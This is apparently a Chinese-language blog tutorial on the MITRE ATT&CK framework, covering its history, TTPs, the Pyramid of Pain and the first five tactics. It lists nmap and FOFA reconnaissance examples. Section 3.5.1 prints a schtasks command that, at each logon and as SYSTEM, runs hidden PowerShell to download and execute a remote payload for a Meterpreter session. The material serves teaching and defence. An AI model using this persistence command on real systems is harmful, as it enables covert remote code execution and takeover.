1. ATT&CK框架简介

1.1 背景

    MITRE是一个向美国政府提供系统工程、研究开发和信息技术支持的非营利性组织,于1958年从麻省理工学院林肯实验室分离出来后参与了许多最高机密的政府项目,开展了大量的网络安全实践。例如,MITRE公司在1999年发起了常见披露漏洞项目(CVE,Common Vulnera-bilities and Exposures)并维护至今。其后,MITRE公司还维护了常见缺陷列表(CWE,Common Weakness Enumeration)这个安全漏洞词典。
在这里插入图片描述    2013年,MITRE公司为了解决防守方面临的困境,基于现实中发生的真实攻击事件,创建了一个对抗战术和技术知识库,即Adversarial Tactics,Techniques,and Common Knowledge,简称ATT&CK。由于该框架内容丰富、实战性强,最近几年发展得炙手可热,得到了业内的广泛关注。

1.2 特点

• 它是基于真实观察数据创建的。
• 它是公开免费、全球可访问的。
• 它为蓝方和红队提供了一种沟通交流的通用语言。
• 它是由社区驱动发展的。
基于威胁建模的ATT&CK框架

1.3 与Cyber Kill Chain的关系

在这里插入图片描述

    ATT&CK模型正是在杀伤链模型的基础上,构建了一套更细粒度、更易共享的知识模型和框架。最开始ATT&CK模型分为三部分,分别是PRE-ATT&CK,ATT&CK for Enterprise和ATT&CK for Mobile。
    现在删减变为

  • Enterprise:传统企业网络和云技术
  • Mobile:移动通信设备
  • ICS:工业控制系统

    这三个我们称之为技术域Domain,在官网上每次的ATT&CK矩阵可以对三个技术域进行分开的选择,一般我们研究的都注重于Enterprise即可。它与杀伤链有所不同的是,ATT&CK的战术没有遵循任何线性顺序。相反,攻击者可以随意切换来实现最终目标。

2. ATT&CK相关术语

2.1 Matrix

在这里插入图片描述    这里就是一张旧版的的Enterprise矩阵,现在每一年都在更新,所以相较于最新的,前面少了侦察和资源开发,但是不影响我们讲他的结构。
    横轴就是战术,核心研究攻击目标,战术的整体阶段大概是怎样的,只是大的行动纲领,具体怎么做取决于纵轴也就是我们的技术以及子技术,也就是how和what。在每一项技术和子技术当中还存在着更细的子单位,就是p步骤,哪一个组织之前用到了哪一个工具,是怎么在用的。
    总结来说战术就是宏观的行动纲领,技术是具体解决和执行的东西,程序则是最小元的步骤,不能继续细分了,从大到小紧密关联

2.2 TTPs

在这里插入图片描述    ATT&CK观察的主要目标是攻击者的TTPs,并将观察结果记录进行总结分类,从而形成知识库。

  • 对于攻击方,TTPs 反映了攻击者的行为,调整 TTPs 所需付出的时间和金钱成本也最为昂贵。
  • 对于防守方,基于TTPs 的检测和响应可能给对手造成更多的痛苦。
    简单点说,ATT&CK是基于现实的、已经发生的TTPs的观察、总结形成的知识库,这不是学术理论的结果,意味着ATT&CK是具有很强的实战性和可落地性。

2.3 痛苦金字塔

在这里插入图片描述    痛苦金字塔模型由IoC(Indicators of Compromise,失陷指标)组成,通过IoC进行组织分类并描述各类IoC在攻防对抗中的价值。
    痛苦金字塔就是一个黑客和防守方对这座金字塔不断地去攀升,如果攻防双方的对抗发生在金字塔的底部,那么对双方来说都没那么痛苦,对攻击者来说使用的工具、后门或者依赖哈希去做检测,攻击者去替换或者修改的成本都是比较低的,随时可以伪造特征或者替换,那么HASH就会随之发生改变,但是顶部的TTP,TTPs描述了攻击者从踩点侦察到获取数据这一过程中,每一步是如何完成任务的
    因此 TTPs 也是痛苦金字塔中对防守最有价值的一类 IOCs。但另一方面,这类 IOCs 更加难以识别和应用,由于大多数安全工具并不太适合利用它们,也意味着收集和应用 TTPs 到网络防御的难度系数是最高的。

对抗一定是由下至上的,最后发展到最高层面,代表本质的行为。比如说小偷使用的工具包括起子扳手,你没收了工具可能他随时可以替换。但是如果他是左撇子,这是他惯用的很难改变的习惯,你把他的左手用什么捆起来,他的攻击成功率就大大降低

2.4 五大对象

    ATT&CK框架中主要包含五大对象:攻击组织、软件、技术/子技术、战术、缓解措施,每个对象都在一定程度上与其他对象有关。
在这里插入图片描述

    我们以一个特定的APT组织——APT28为例。图1-11展示了APT28使用Mimikatz转储Windows LSASS进程内存中保存的凭证的过程。lsass.exe(Local Security Authority Subsystem Service进程空间中,存有着机器的域、本地用户名和密码等重要信息。如果获取本地高权限,用户便可以访问LSASS进程内存,从而可以导出内部数据(password),用于横向移动和权限提升。
    其实这种原理是lsass.exe是Windows系统的安全机制,主要用于本地安全和登陆策略,通常在我们登陆系统时输入密码后,密码便会存贮在lsass.exe内存中,经过wdigest和tspkg两个模块调用后,对其使用可逆的算法进行加密并存储在内存中,而Mimikatz正是通过对lsass.exe逆算获取到明文密码。

在这里插入图片描述

3. ATT&CK战术及场景实践

在这里插入图片描述●ATT&CK战术有14个,包括侦察、资源开发、初始访问、执行、持久化、权限提升、防御绕过、凭证获取、发现横向移动、搜集、命令控制、数据渗出、影响。
●战术仅为作战行动提供目标纲领,具体行动由战术中的技术与子技术实现。
●作战行动不要求使用所有战术,战术也没有前后顺序,战术的数量和顺序由使用者自行决定。
这个官方图表非常大,也属于是网络安全的学习路线图,然后接下来就对每一个战术进行讲解,因为比较多,所以本篇只讲前五个战术和对应的技术点.
像我们看到前面的侦察,资源开发,都属于Pre ATTACK的范畴。上面对应的深色框就这些战术想要实现的目的也就是WHY,具体怎么做,WHAT和HOW就是技术和子技术去执行。而实际情况下这14个战术越少越好,因为不容易被发现,并且实际情况不一定会按照这个顺序进行,所以战术的编排是攻击者自行决定的。

3.1 侦察

在这里插入图片描述攻击者在入侵某一企业之前,会先收集一些有用的信息,这和渗透测试当中的信息搜集也是类似的。侦察包括攻击者收集一些用于锁定攻击目标的信息,可能包括受害组织、基础设施或员工的详细信息。简单来说就是包括了主动扫描侦察和被动扫描侦察,比如T1595就是主动,而收集、搜索等等都是被动。当然在其他阶段也可以利用这些信息进行辅助,例如使用收集的信息来计划和执行初始访问,确定入侵后的行动范围和目标优先级,或者推动进一步的侦察工作。

3.1.1 主动扫描

比如说主动扫描包括扫描IP块和漏扫:

  • IP扫描确定在信息收集中所找到的主机是否在线
  • 根据IP地址来猜测IP段,扩大所知主机地址信息
  • 通过对TCP和UDP的扫描来发现所开放端口和运行的服务

在这里插入图片描述Zenmap工具功能介绍
在这里插入图片描述第一种:Intense scan
(nmap -T4 -A -v)
一般来说,Intense scan可以满足一般扫描
-T4 加快执行速度
-A 操作系统及版本探测
-v 显示详细的输出

第二种:Intense scan plus UDP(nmap -sS -sU -T4 -A -v)
即UDP扫描,会发送空的UDP报头到目标的端口,如果返回ICMP端口不可到达错误就是关闭,返回响应UDP报文就是开放
-sS TCP SYN 扫描
-sU UDP 扫描

第三种:Intense scan,all TCP ports
(nmap -p 1-65536 -T4 -A -v)
扫描所有TCP端口,范围在1-65535,试图扫描所有端口的开放情况,速度比较慢。
-p 指定端口扫描范围

第四种:Intense scan,no ping
(nmap -T4 -A -v -Pn)
非ping扫描
-Pn 非ping扫描

第五种:Ping scan
(nmap -sn)
Ping 扫描
优点:速度快。
缺点:容易被防火墙屏蔽,导致无扫描结果
-sn ping扫描

第六种:Quick scan
(nmap -T4 -F)
快速的扫描
-F 快速模式。

第七种:Quick scan plus
(nmap -sV -T4 -O -F --version-light)
快速扫描加强模式
-sV 探测端口及版本服务信息。
-O 开启OS检测
–version-light 设定侦测等级为2。

第八种:Quick traceroute
(nmap -sn --traceroute)
路由跟踪
-sn Ping扫描,关闭端口扫描
-traceroute 显示本机到目标的路由跃点。

第九种:Regular scan
规则扫描

第十种:Slow comprehensive scan
(nmap -sS -sU -T4 -A -v -PE -PP -PS80,443,-PA3389,PU40125 -PY -g 53 --script all)
慢速全面扫描。

扫描结果如图
在这里插入图片描述

3.1.2 搜索公开网站/域名(被动)

在这里插入图片描述这个社会化媒体比如说之前有一款网站REG007,可以通过用户的手机号搜索到这个手机号所注册的所有网站和应用,包括微博、豆瓣、当当还有什么新东方等等,攻击者可以选择任意一个网站进行渗透。除此之外就是搜索引擎,比如说在浏览器使用特定的语法就可以搜出更精细化的结果,intitle,site什么的

FOFA工具功能介绍
FOFA是一款空间搜索引擎,它可以通过进行网络空间测绘快速进行网络资产匹配
搜索HTTP响应头中含有“php”关键词且国家为中国的网站和IP
在这里插入图片描述搜索页面标题中含有“后台管理”关键词的网站和IP
在这里插入图片描述搜索指定IP或IP段
在这里插入图片描述搜索根域名中带有“itellyou.cn”的网站
在这里插入图片描述

3.2 资源开发

在这里插入图片描述资源开发是指攻击者会建立一些用于未来作战的资源。资源开发包括攻击者创建、购买或窃取可用于锁定攻击目标的资源。此类资源包括基础设施、账户或功能。攻击者也可以将这些资源用于攻击生命周期的其他阶段,例如使用购买的域名来实现命令与控制,利用邮件账户进行网络钓鱼,以便实现“初始访问”,或窃取代码签名证书来实现防御绕过。
最重要的就是构建基础设施,采购各种域名,DNS服务器,僵尸网络等等,才能将自己的Payload丢给受害者。就我们所说的DDos攻击前期准备就需要这些,要去发动就需要僵尸网络。
DDoS僵尸网络示意图

3.2.1 建立账户

在这里插入图片描述发钓鱼邮件不可能拿自己的QQ邮箱发过去,那溯源直接找到自己了,也不可能拿自己的真实账号去沟通,所以这一块比较好理解

3.3 初始访问

前面两项战术介绍的是攻击者入侵到企业之前的一些攻击技术,从“初始访问”开始,介绍的是攻击者入侵企业之后的一些攻击技术。通常,“初始访问”是指攻击者在企业环境中建立立足点。对于企业来说,
例如,攻击者使用鱼叉式钓鱼附件进行攻击。附件会利用某种类型的漏洞来实现该级别的访问,
例如PowerShell或其他脚本技术。如果执行成功,攻击者就可以采用其他策略和技术来实现最终目标。
Hack到对方网络去并且拿到一个入口,如何进入并且获取入口点,技术分为9个

  • 路过损害即水坑攻击
  • 利用面向公众的应用程序就是利用漏洞Exploit,对Web或者中间件,通过未公开或者已公开的漏洞进行访问
  • 远程服务像SSH,MYSQL,这个我们上次也有提到过
  • 硬件添加比如有毒的数据线,
    这些方法都可以帮助黑客拿到入场券,对未来内网横向的移动、漫游、持久化做准备

在这里插入图片描述

3.4 执行

在这里插入图片描述第四个战术执行,是应用最为广泛的。攻击者使用现成的恶意软件、勒索软件或APT攻击时,都属于“执行”这个战术。
核心就是要让恶意软件生效跑起来。比较常见的包括命令行界面或PowerShell,许多无文件恶意软件都利用到了。他的好处在于,终端上已经安装了上述功能,而且很少会删除这些功能。系统管理员和高级用户每天都会用到其中的一些内置工具(cmd)。
最常见的技术就是使用cmd调用本机的命令,并且把命令的输出重定向到本地管理共享的文件
这就是一个cmd命令,可以用它来操作网络协议。
在这里插入图片描述

3.5 持久化

在这里插入图片描述除了勒索软件,持久化是最受攻击者追捧的技术之一。攻击者希望尽可能减少工作量,包括减少访问攻击对象的时间。攻击者实现持久化访问之后,即便运维人员采取重启、更改凭证等措施,仍然可以让计算机再次感染病毒或维持其现有连接。例如,注册表运行键、启动文件夹是最常用的技术,它们在每次启动计算机时都会执行。因此,攻击者会在启动诸如Web浏览器或Microsoft Office等常用应用时实现持久化。此外,攻击者还会使用“镜像劫持(IFEO)注入”等技术来修改文件的打开方式,在注册表中创建一个辅助功能的注册表项,并根据镜像劫持的原理添加键值,实现系统在未登录状态下,通过快捷键运行自己的程序。在所有ATT&CK战术中,持久化是最应该被关注的战术之一。

3.5.1 使用schtasks计划任务完成“持久化”战术

Windows内置工具schtasks.exe提供了在本地或远程计算机上创建、修改和运行计划任务的功能。计划任务工具可用于实现“持久化”,并可与“横向移动”战术下的技术结合使用,从而实现远程“执行”。另外,该命令还可以通过参数来指定负责创建任务的用户和密码,以及运行任务的用户和密码。/rl参数可以指定任务以SYSTEM用户身份运行,这通常表示发生了“提升权限”行为。

攻击者可以使用schtasks命令进行横向移动,远程安排任务/作业。攻击者可以通过Task Scheduler GUI或脚本语言(如PowerShell)直接调用API。在这种情况下,需要额外的数据源来检测对抗行为。创建远程计划任务时,Windows使用RPC (135/tcp)与远程计算机上的Task Scheduler进行通信。建立RPC连接(CAR-2014-05-001)后,客户端将与在服务组netsvcs中运行的计划任务端口通信。通过数据包捕获正确的数据包解码器或基于字节流的签名,可以识别这些功能的远程调用。

  • 在命令提示行中使用“schtasks”命令可以创建一个计划任务。
    在这里插入图片描述
  • 例如使用下面的命令就可以指定在每次系统登录时,操作系统会自动去下载并执行一个基于PowerShell的Payload。
 schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle 
hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'"
/sc onlogon /ru System

首先create创建,/tn即taskname设置为PentestLab,指定唯一识别这个计划任务的名称
/tr即taskrun指定在这个计划时间运行的程序的路径和文件名。
/sc就是schedule,既定计划的频率,/ru就是username,指定任务在其下运行的“运行方式”就是系统账户。
bypass就是没有任何限制和提示的策略

在这里插入图片描述

  • 当系统用户再次登录时,系统将下载执行Payload并建立Meterpreter会话。

在这里插入图片描述

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐